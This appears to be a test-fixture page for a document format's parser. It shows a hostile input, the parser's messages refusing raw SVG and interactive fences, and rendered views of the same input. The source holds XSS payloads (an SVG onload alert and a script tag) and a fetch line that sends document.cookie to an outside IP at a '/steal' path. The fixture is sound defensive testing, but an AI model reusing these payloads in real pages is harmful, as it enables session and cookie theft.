All fixtures · Hostile input (each one attack) · hostile/20-reference-only-fences.dh.md
3 problem(s) parse() reported
- line 7: ```svg is refused: raw SVG exists only as a reference. Store it with the host and write [[svg:<name> "label"]] on a line of its own
- line 11: ```interactive is refused: an interactive part (HTML, CSS and script) exists only as a reference. Store it with the host and write [[interactive:<name> "label"]] on a line of its own
- line 20: ```svg is refused: raw SVG exists only as a reference. Store it with the host and write [[svg:<name> "label"]] on a line of its own
Source
---
title: "Raw SVG and interactive code in the page"
---
# Reference-only types
```svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script></svg>
```
```interactive
@html
<button>Go</button>
@script
fetch("https://198.51.100.7/steal?c=" + document.cookie)
```
- in a list:
```SVG
<svg/>
```
In code it is text: `[[svg:logo]]`.
LLM view
---
title: "Raw SVG and interactive code in the page"
source: hostile/20-reference-only-fences.dh.md
---
<!-- Made by dh llm from the source; nobody edits this file. -->
# Reference-only types
```svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script></svg>
```
```interactive
@html
<button>Go</button>
@script
fetch("https://198.51.100.7/steal?c=" + document.cookie)
```
- in a list:
```SVG
<svg/>
```
In code it is text: `[[svg:logo]]`.Reference-only types
svg: not shown ```svg is refused: raw SVG exists only as a reference. Store it with the host and write [[svg:<name> "label"]] on a line of its own (line 7)
svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script></svg>
interactive: not shown ```interactive is refused: an interactive part (HTML, CSS and script) exists only as a reference. Store it with the host and write [[interactive:<name> "label"]] on a line of its own (line 11)
interactive
@html<button>Go</button>@scriptfetch("https://198.51.100.7/steal?c=" + document.cookie)
- in a list:SVG<svg/>
In code it is text: [[svg:logo]].